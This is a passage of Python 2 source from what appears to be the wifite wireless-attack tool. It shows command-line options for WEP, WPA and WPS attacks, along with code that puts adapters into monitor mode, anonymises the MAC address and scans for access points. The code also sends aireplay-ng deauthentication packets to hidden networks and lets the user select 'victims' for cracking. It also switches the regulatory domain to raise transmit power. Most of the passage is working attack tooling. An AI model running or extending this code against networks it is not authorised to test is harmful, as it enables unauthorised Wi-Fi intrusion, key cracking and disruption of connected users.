global_group.add_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store_true', dest='nodeauth') 665 | global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store', 666 | dest='power') 667 | global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power') 668 | global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx') 669 | global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx') 670 | global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true', 671 | dest='quiet') 672 | global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet') 673 | # set wpa commands 674 | wpa_group = option_parser.add_argument_group('WPA') 675 | wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False, 676 | action='store_true', dest='wpa') 677 | wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa') 678 | wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store', 679 | dest='wpat') 680 | wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat') 681 | wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store', 682 | dest='wpadt') 683 | wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt') 684 | wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False, 685 | action='store_true', dest='strip') 686 | wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip') 687 | wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true', 688 | dest='crack') 689 | wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack') 690 | wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store', 691 | dest='dic') 692 | wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic') 693 | wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False, 694 | action='store_true', dest='aircrack') 695 | wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack') 696 | wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true', 697 | dest='pyrit') 698 | wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit') 699 | wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true', 700 | dest='tshark') 701 | wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark') 702 | wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False, 703 | action='store_true', dest='cowpatty') 704 | wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty') 705 | # set WEP commands 706 | wep_group = option_parser.add_argument_group('WEP') 707 | wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true', 708 | dest='wep') 709 | wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep') 710 | wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store', 711 | dest='pps') 712 | wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps') 713 | wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store', 714 | dest='wept') 715 | wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept') 716 | wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true', 717 | dest='chopchop') 718 | wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop') 719 | wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true', 720 | dest='arpreplay') 721 | wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true', 722 | dest='arpreplay') 723 | wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true', 724 | dest='fragment') 725 | wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment') 726 | wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true', 727 | dest='caffeelatte') 728 | wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true', 729 | dest='caffeelatte') 730 | wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841') 731 | wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841') 732 | wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte') 733 | wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte') 734 | wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False, 735 | action='store_true', dest='fakeauth') 736 | wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true', 737 | dest='fakeauth') 738 | wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store', 739 | dest='wepca') 740 | wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca') 741 | wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None, 742 | action='store', dest='wepsave') 743 | wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave') 744 | # set WPS commands 745 | wps_group = option_parser.add_argument_group('WPS') 746 | wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true', 747 | dest='wps') 748 | wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps') 749 | wps_group.add_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store_true', dest='pixie') 750 | wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store', 751 | dest='wpst') 752 | wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst') 753 | wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store', 754 | dest='wpsratio') 755 | wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio') 756 | wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.', 757 | action='store', dest='wpsretry') 758 | wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry') 759 | 760 | return option_parser 761 | 762 | 763 | class RunEngine: 764 | def __init__(self, run_config): 765 | self.RUN_CONFIG = run_config 766 | self.RUN_CONFIG.RUN_ENGINE = self 767 | 768 | def initial_check(self): 769 | """ 770 | Ensures required programs are installed. 771 | """ 772 | airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng'] 773 | for air in airs: 774 | if program_exists(air): continue 775 | print R + ' [!]' + O + ' required program not found: %s' % (R + air + W) 776 | print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W 777 | print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W 778 | print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W 779 | self.RUN_CONFIG.exit_gracefully(1) 780 | 781 | if not program_exists('iw'): 782 | print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W) 783 | self.RUN_CONFIG.exit_gracefully(1) 784 | 785 | if not program_exists('iwconfig'): 786 | print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'iwconfig' + W) 787 | self.RUN_CONFIG.exit_gracefully(1) 788 | 789 | if not program_exists('ifconfig'): 790 | print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'ifconfig' + W) 791 | self.RUN_CONFIG.exit_gracefully(1) 792 | 793 | printed = False 794 | # Check reaver 795 | if not program_exists('reaver'): 796 | printed = True 797 | print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W 798 | print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W 799 | self.RUN_CONFIG.WPS_DISABLE = True 800 | 801 | if not program_exists('tshark'): 802 | printed = True 803 | print R + ' [!]' + O + ' the program ' + R + 'tshark' + O + ' was not found' + W 804 | print R + ' [!]' + O + ' please install tshark: https://www.wireshark.org/#download' + W 805 | self.RUN_CONFIG.WPS_DISABLE = True 806 | 807 | # Check handshake-checking apps 808 | recs = ['pyrit', 'cowpatty'] 809 | for rec in recs: 810 | if program_exists(rec): continue 811 | printed = True 812 | print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W) 813 | if printed: print '' 814 | 815 | def enable_monitor_mode(self, iface): 816 | """ 817 | First attempts to anonymize the MAC if requested; MACs cannot 818 | be anonymized if they're already in monitor mode. 819 | Uses airmon-ng to put a device into Monitor Mode. 820 | Then uses the get_iface() method to retrieve the new interface's name. 821 | Sets global variable IFACE_TO_TAKE_DOWN as well. 822 | Returns the name of the interface in monitor mode. 823 | """ 824 | mac_anonymize(iface) 825 | print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W), 826 | stdout.flush() 827 | call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN) 828 | print 'done' 829 | self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart 830 | self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface() 831 | if self.RUN_CONFIG.TX_POWER > 0: 832 | print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W), 833 | call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG) 834 | call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG) 835 | print 'done' 836 | return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN 837 | 838 | def disable_monitor_mode(self): 839 | """ 840 | The program may have enabled monitor mode on a wireless interface. 841 | We want to disable this before we exit, so we will do that. 842 | """ 843 | if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return 844 | print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W), 845 | stdout.flush() 846 | call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN) 847 | print 'done' 848 | 849 | def rtl8187_fix(self, iface): 850 | """ 851 | Attempts to solve "Unknown error 132" common with RTL8187 devices. 852 | Puts down interface, unloads/reloads driver module, then puts iface back up. 853 | Returns True if fix was attempted, False otherwise. 854 | """ 855 | # Check if current interface is using the RTL8187 chipset 856 | proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) 857 | proc_airmon.wait() 858 | using_rtl8187 = False 859 | for line in proc_airmon.communicate()[0].split(): 860 | line = line.upper() 861 | if line.strip() == '' or line.startswith('INTERFACE'): continue 862 | if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True 863 | 864 | if not using_rtl8187: 865 | # Display error message and exit 866 | print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W 867 | print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W 868 | self.RUN_CONFIG.exit_gracefully(1) 869 | 870 | print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..." 871 | 872 | original_iface = iface 873 | # Take device out of monitor mode 874 | airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN) 875 | airmon.wait() 876 | for line in airmon.communicate()[0].split('\n'): 877 | if line.strip() == '' or \ 878 | line.startswith("Interface") or \ 879 | line.find('(removed)') != -1: 880 | continue 881 | original_iface = line.split()[0] # line[:line.find('\t')] 882 | 883 | # Remove drive modules, block/unblock ifaces, probe new modules. 884 | print_and_exec(['ifconfig', original_iface, 'down']) 885 | print_and_exec(['rmmod', 'rtl8187']) 886 | print_and_exec(['rfkill', 'block', 'all']) 887 | print_and_exec(['rfkill', 'unblock', 'all']) 888 | print_and_exec(['modprobe', 'rtl8187']) 889 | print_and_exec(['ifconfig', original_iface, 'up']) 890 | print_and_exec(['airmon-ng', 'start', original_iface]) 891 | 892 | print '\r \r', 893 | print O + ' [!] ' + W + 'restarting scan...\n' 894 | 895 | return True 896 | 897 | def get_iface(self): 898 | """ 899 | Get the wireless interface in monitor mode. 900 | Defaults to only device in monitor mode if found. 901 | Otherwise, enumerates list of possible wifi devices 902 | and asks user to select one to put into monitor mode (if multiple). 903 | Uses airmon-ng to put device in monitor mode if needed. 904 | Returns the name (string) of the interface chosen in monitor mode. 905 | """ 906 | if not self.RUN_CONFIG.PRINTED_SCANNING: 907 | print GR + ' [+]' + W + ' scanning for wireless devices...' 908 | self.RUN_CONFIG.PRINTED_SCANNING = True 909 | 910 | proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) 911 | iface = '' 912 | monitors = [] 913 | adapters = [] 914 | for line in proc.communicate()[0].split('\n'): 915 | if len(line) == 0: continue 916 | if ord(line[0]) != 32: # Doesn't start with space 917 | iface = line[:line.find(' ')] # is the interface 918 | if line.find('Mode:Monitor') != -1: 919 | monitors.append(iface) 920 | else: 921 | adapters.append(iface) 922 | 923 | if self.RUN_CONFIG.WIRELESS_IFACE != '': 924 | if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE): 925 | return self.RUN_CONFIG.WIRELESS_IFACE 926 | else: 927 | if self.RUN_CONFIG.WIRELESS_IFACE in adapters: 928 | # valid adapter, enable monitor mode 929 | print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % ( 930 | R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O) 931 | return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE) 932 | else: 933 | # couldnt find the requested adapter 934 | print R + ' [!]' + O + ' could not find wireless interface %s' % ( 935 | '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W) 936 | self.RUN_CONFIG.exit_gracefully(0) 937 | 938 | if len(monitors) == 1: 939 | return monitors[0] # Default to only device in monitor mode 940 | elif len(monitors) > 1: 941 | print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W 942 | for i, monitor in enumerate(monitors): 943 | print " %s. %s" % (G + str(i + 1) + W, G + monitor + W) 944 | ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \ 945 | (GR, W, G, W, G, len(monitors), W, G)) 946 | while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors): 947 | ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \ 948 | (GR, W, G, len(monitors), W, G)) 949 | i = int(ri) 950 | return monitors[i - 1] 951 | 952 | proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) 953 | for line in proc.communicate()[0].split('\n'): 954 | if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue 955 | monitors.append(line) 956 | 957 | if len(monitors) == 0: 958 | print R + ' [!]' + O + " no wireless interfaces were found." + W 959 | print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W 960 | self.RUN_CONFIG.exit_gracefully(0) 961 | elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0: 962 | monitor = monitors[0][:monitors[0].find('\t')] 963 | return self.enable_monitor_mode(monitor) 964 | 965 | elif len(monitors) == 1: 966 | monitor = monitors[0][:monitors[0].find('\t')] 967 | if monitor.startswith('phy'): monitor = monitors[0].split()[1] 968 | return self.enable_monitor_mode(monitor) 969 | 970 | print GR + " [+]" + W + " available wireless devices:" 971 | for i, monitor in enumerate(monitors): 972 | print " %s%d%s. %s" % (G, i + 1, W, monitor) 973 | 974 | ri = raw_input( 975 | GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) 976 | while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors): 977 | ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) 978 | i = int(ri) 979 | monitor = monitors[i - 1][:monitors[i - 1].find('\t')] 980 | 981 | return self.enable_monitor_mode(monitor) 982 | 983 | def scan(self, channel=0, iface='', tried_rtl8187_fix=False): 984 | """ 985 | Scans for access points. Asks user to select target(s). 986 | "channel" - the channel to scan on, 0 scans all channels. 987 | "iface" - the interface to scan on. must be a real interface. 988 | "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132" 989 | Returns list of selected targets and list of clients. 990 | """ 991 | airodump_file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wifite') 992 | csv_file = airodump_file_prefix + '-01.csv' 993 | cap_file = airodump_file_prefix + '-01.cap' 994 | remove_airodump_files(airodump_file_prefix) 995 | 996 | command = ['airodump-ng', 997 | '-a', # only show associated clients 998 | '--write-interval', '1', # Write every second 999 | '-w', airodump_file_prefix] # output file 1000 | if channel != 0: 1001 | command.append('-c') 1002 | command.append(str(channel)) 1003 | command.append(iface) 1004 | 1005 | proc = Popen(command, stdout=DN, stderr=DN) 1006 | 1007 | time_started = time.time() 1008 | print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.' 1009 | (targets, clients) = ([], []) 1010 | try: 1011 | deauth_sent = 0.0 1012 | old_targets = [] 1013 | stop_scanning = False 1014 | while True: 1015 | time.sleep(0.3) 1016 | if not os.path.exists(csv_file) and time.time() - time_started > 1.0: 1017 | print R + '\n [!] ERROR!' + W 1018 | # RTL8187 Unknown Error 132 FIX 1019 | if proc.poll() is not None: # Check if process has finished 1020 | proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE) 1021 | if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1: 1022 | send_interrupt(proc) 1023 | if self.rtl8187_fix(iface): 1024 | return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True) 1025 | print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W 1026 | print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W 1027 | self.RUN_CONFIG.exit_gracefully(1) 1028 | 1029 | (targets, clients) = self.parse_csv(csv_file) 1030 | 1031 | # Remove any already cracked networks if configured to do so 1032 | if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False: 1033 | index = 0 1034 | while index < len(targets): 1035 | already = False 1036 | for cracked in self.RUN_CONFIG.CRACKED_TARGETS: 1037 | if targets[index].ssid.lower() == cracked.ssid.lower(): 1038 | already = True 1039 | if targets[index].bssid.lower() == cracked.bssid.lower(): 1040 | already = True 1041 | if already == True: 1042 | targets.pop(index) 1043 | index -= 1 1044 | index += 1 1045 | 1046 | # If we are targeting a specific ESSID/BSSID, skip the scan once we find it. 1047 | if self.RUN_CONFIG.TARGET_ESSID != '': 1048 | for t in targets: 1049 | if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower(): 1050 | send_interrupt(proc) 1051 | try: 1052 | os.kill(proc.pid, SIGTERM) 1053 | except OSError: 1054 | pass 1055 | except UnboundLocalError: 1056 | pass 1057 | targets = [t] 1058 | stop_scanning = True 1059 | break 1060 | if self.RUN_CONFIG.TARGET_BSSID != '': 1061 | for t in targets: 1062 | if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower(): 1063 | send_interrupt(proc) 1064 | try: 1065 | os.kill(proc.pid, SIGTERM) 1066 | except OSError: 1067 | pass 1068 | except UnboundLocalError: 1069 | pass 1070 | targets = [t] 1071 | stop_scanning = True 1072 | break 1073 | 1074 | # If user has chosen to target all access points, wait 20 seconds, then return all 1075 | if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10: 1076 | print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % ( 1077 | G, len(targets), W, '' if len(targets) == 1 else 's') 1078 | stop_scanning = True 1079 | 1080 | if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10: 1081 | # Remove targets with power < threshold 1082 | i = 0 1083 | before_count = len(targets) 1084 | while i < len(targets): 1085 | if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER: 1086 | targets.pop(i) 1087 | else: 1088 | i += 1 1089 | print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \ 1090 | (G + str(before_count - len(targets)) + W, 1091 | self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W) 1092 | stop_scanning = True 1093 | 1094 | if stop_scanning: break 1095 | 1096 | # If there are unknown SSIDs, send deauths to them. 1097 | if self.RUN_CONFIG.SEND_DEAUTHS and channel != 0 and time.time() - deauth_sent > 5: 1098 | deauth_sent = time.time() 1099 | for t in targets: 1100 | if t.ssid == '' or '\x00' in t.ssid or '\\x00' in t.ssid: 1101 | print "\r %s deauthing hidden access point (%s) \r" % \ 1102 | (GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W), 1103 | stdout.flush() 1104 | # Time to deauth 1105 | cmd = ['aireplay-ng', 1106 | '--ignore-negative-one', 1107 | '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), 1108 | '-a', t.bssid] 1109 | for c in clients: 1110 | if c.station == t.bssid: 1111 | cmd.append('-c') 1112 | cmd.append(c.bssid) 1113 | break 1114 | cmd.append(iface) 1115 | proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) 1116 | proc_aireplay.wait() 1117 | time.sleep(0.5) 1118 | else: 1119 | for ot in old_targets: 1120 | if ot.ssid == '' and ot.bssid == t.bssid: 1121 | print '\r %s successfully decloaked "%s" ' % \ 1122 | (GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W) 1123 | 1124 | old_targets = targets[:] 1125 | if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0: 1126 | targets = sorted(targets, key=lambda t: t.power, reverse=True) 1127 | if not self.RUN_CONFIG.WPS_DISABLE: 1128 | wps_check_targets(targets, cap_file, verbose=False) 1129 | 1130 | os.system('clear') 1131 | print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n' 1132 | print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ( 1133 | 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') 1134 | print ' --- -------------------- %s-- ---- ----- ---- ------' % ( 1135 | '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') 1136 | for i, target in enumerate(targets): 1137 | print " %s%2d%s " % (G, i + 1, W), 1138 | # SSID 1139 | if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid: 1140 | p = O + '(' + target.bssid + ')' + GR + ' ' + W 1141 | print '%s' % p.ljust(20), 1142 | elif len(target.ssid) <= 20: 1143 | print "%s" % C + target.ssid.ljust(20) + W, 1144 | else: 1145 | print "%s" % C + target.ssid[0:17] + '...' + W, 1146 | # BSSID 1147 | if self.RUN_CONFIG.SHOW_MAC_IN_SCAN: 1148 | print O, target.bssid + W, 1149 | # Channel 1150 | print G + target.channel.rjust(3), W, 1151 | # Encryption 1152 | if target.encryption.find("WEP") != -1: 1153 | print G, 1154 | else: 1155 | print O, 1156 | print "\b%3s" % target.encryption.strip().ljust(4) + W, 1157 | # Power 1158 | if target.power >= 55: 1159 | col = G 1160 | elif target.power >= 40: 1161 | col = O 1162 | else: 1163 | col = R 1164 | print "%s%3ddb%s" % (col, target.power, W), 1165 | # WPS 1166 | if self.RUN_CONFIG.WPS_DISABLE: 1167 | print " %3s" % (O + 'n/a' + W), 1168 | else: 1169 | print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W), 1170 | # Clients 1171 | client_text = '' 1172 | for c in clients: 1173 | if c.station == target.bssid: 1174 | if client_text == '': 1175 | client_text = 'client' 1176 | elif client_text[-1] != "s": 1177 | client_text += "s" 1178 | if client_text != '': 1179 | print ' %s' % (G + client_text + W) 1180 | else: 1181 | print '' 1182 | print '' 1183 | print ' %s %s wireless networks. %s target%s and %s client%s found \r' % ( 1184 | GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W, 1185 | G + str(len(targets)) + W, '' if len(targets) == 1 else 's', 1186 | G + str(len(clients)) + W, '' if len(clients) == 1 else 's'), 1187 | 1188 | stdout.flush() 1189 | except KeyboardInterrupt: 1190 | pass 1191 | print '' 1192 | 1193 | send_interrupt(proc) 1194 | try: 1195 | os.kill(proc.pid, SIGTERM) 1196 | except OSError: 1197 | pass 1198 | except UnboundLocalError: 1199 | pass 1200 | 1201 | # Use "tshark" program to check for WPS compatibility 1202 | if not self.RUN_CONFIG.WPS_DISABLE: 1203 | wps_check_targets(targets, cap_file) 1204 | 1205 | remove_airodump_files(airodump_file_prefix) 1206 | 1207 | if stop_scanning: 1208 | return (targets, clients) 1209 | print '' 1210 | 1211 | if len(targets) == 0: 1212 | print R + ' [!]' + O + ' no targets found!' + W 1213 | print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W 1214 | print '' 1215 | self.RUN_CONFIG.exit_gracefully(1) 1216 | 1217 | if self.RUN_CONFIG.VERBOSE_APS: os.system('clear') 1218 | 1219 | # Sort by Power 1220 | targets = sorted(targets, key=lambda t: t.power, reverse=True) 1221 | 1222 | victims = [] 1223 | print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ( 1224 | 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') 1225 | print ' --- -------------------- %s-- ---- ----- ---- ------' % ( 1226 | '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') 1227 | for i, target in enumerate(targets): 1228 | print " %s%2d%s " % (G, i + 1, W), 1229 | # SSID 1230 | if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid: 1231 | p = O + '(' + target.bssid + ')' + GR + ' ' + W 1232 | print '%s' % p.ljust(20), 1233 | elif len(target.ssid) <= 20: 1234 | print "%s" % C + target.ssid.ljust(20) + W, 1235 | else: 1236 | print "%s" % C + target.ssid[0:17] + '...' + W, 1237 | # BSSID 1238 | if self.RUN_CONFIG.SHOW_MAC_IN_SCAN: 1239 | print O, target.bssid + W, 1240 | # Channel 1241 | print G + target.channel.rjust(3), W, 1242 | # Encryption 1243 | if target.encryption.find("WEP") != -1: 1244 | print G, 1245 | else: 1246 | print O, 1247 | print "\b%3s" % target.encryption.strip().ljust(4) + W, 1248 | # Power 1249 | if target.power >= 55: 1250 | col = G 1251 | elif target.power >= 40: 1252 | col = O 1253 | else: 1254 | col = R 1255 | print "%s%3ddb%s" % (col, target.power, W), 1256 | # WPS 1257 | if self.RUN_CONFIG.WPS_DISABLE: 1258 | print " %3s" % (O + 'n/a' + W), 1259 | else: 1260 | print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W), 1261 | # Clients 1262 | client_text = '' 1263 | for c in clients: 1264 | if c.station == target.bssid: 1265 | if client_text == '': 1266 | client_text = 'client' 1267 | elif client_text[-1] != "s": 1268 | client_text += "s" 1269 | if client_text != '': 1270 | print ' %s' % (G + client_text + W) 1271 | else: 1272 | print '' 1273 | 1274 | ri = raw_input( 1275 | GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \ 1276 | " separated by commas, or '%s': " % (G + 'all' + W)) 1277 | if ri.strip().lower() == 'all': 1278 | victims = targets[:] 1279 | else: 1280 | for r in ri.split(','): 1281 | r = r.strip() 1282 | if r.find('-') != -1: 1283 | (sx, sy) = r.split('-') 1284 | if sx.isdigit() and sy.isdigit(): 1285 | x = int(sx) 1286 | y = int(sy) + 1 1287 | for v in xrange(x, y): 1288 | victims.append(targets[v - 1]) 1289 | elif not r.isdigit() and r.strip() != '': 1290 | print O + " [!]" + R + " not a number: %s " % (O + r + W) 1291 | elif r != '': 1292 | victims.append(targets[int(r) - 1]) 1293 | 1294 | if len(victims) == 0: 1295 | print O + '\n [!] ' + R + 'no targets selected.\n' + W 1296 | self.RUN_CONFIG.exit_gracefully(0) 1297 | 1298 | print '' 1299 | print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's') 1300 | 1301 | return (victims, clients) 1302 | 1303 | def Start(self): 1304 | self.RUN_CONFIG.CreateTempFolder() 1305 | self.RUN_CONFIG.handle_args() 1306 | self.RUN_CONFIG.ConfirmRunningAsRoot() 1307 | self.RUN_CONFIG.ConfirmCorrectPlatform() 1308 | 1309 | self.initial_check() # Ensure required programs are installed. 1310 | 1311 | # Use an interface already in monitor mode if it has been provided, 1312 | if self.RUN_CONFIG.MONITOR_IFACE != '': 1313 | iface = self.RUN_CONFIG.MONITOR_IFACE 1314 | else: 1315 | # The "get_iface" method anonymizes the MAC address (if needed) 1316 | # and puts the interface into monitor mode. 1317 | iface = self.get_iface() 1318 | self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address 1319 | 1320 | (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL) 1321 | 1322 | try: 1323 | index = 0 1324 | while index < len(targets): 1325 | target = targets[index] 1326 | # Check if we have already cracked this target 1327 | for already in RUN_CONFIG.CRACKED_TARGETS: 1328 | if already.bssid == targets[index].bssid: 1329 | if RUN_CONFIG.SHOW_ALREADY_CRACKED == True: 1330 | print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W 1331 | print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"') 1332 | ri = raw_input( 1333 | GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ') 1334 | if ri.lower() == 'n': 1335 | targets.pop(index) 1336 | index -= 1 1337 | else: 1338 | targets.pop(index) 1339 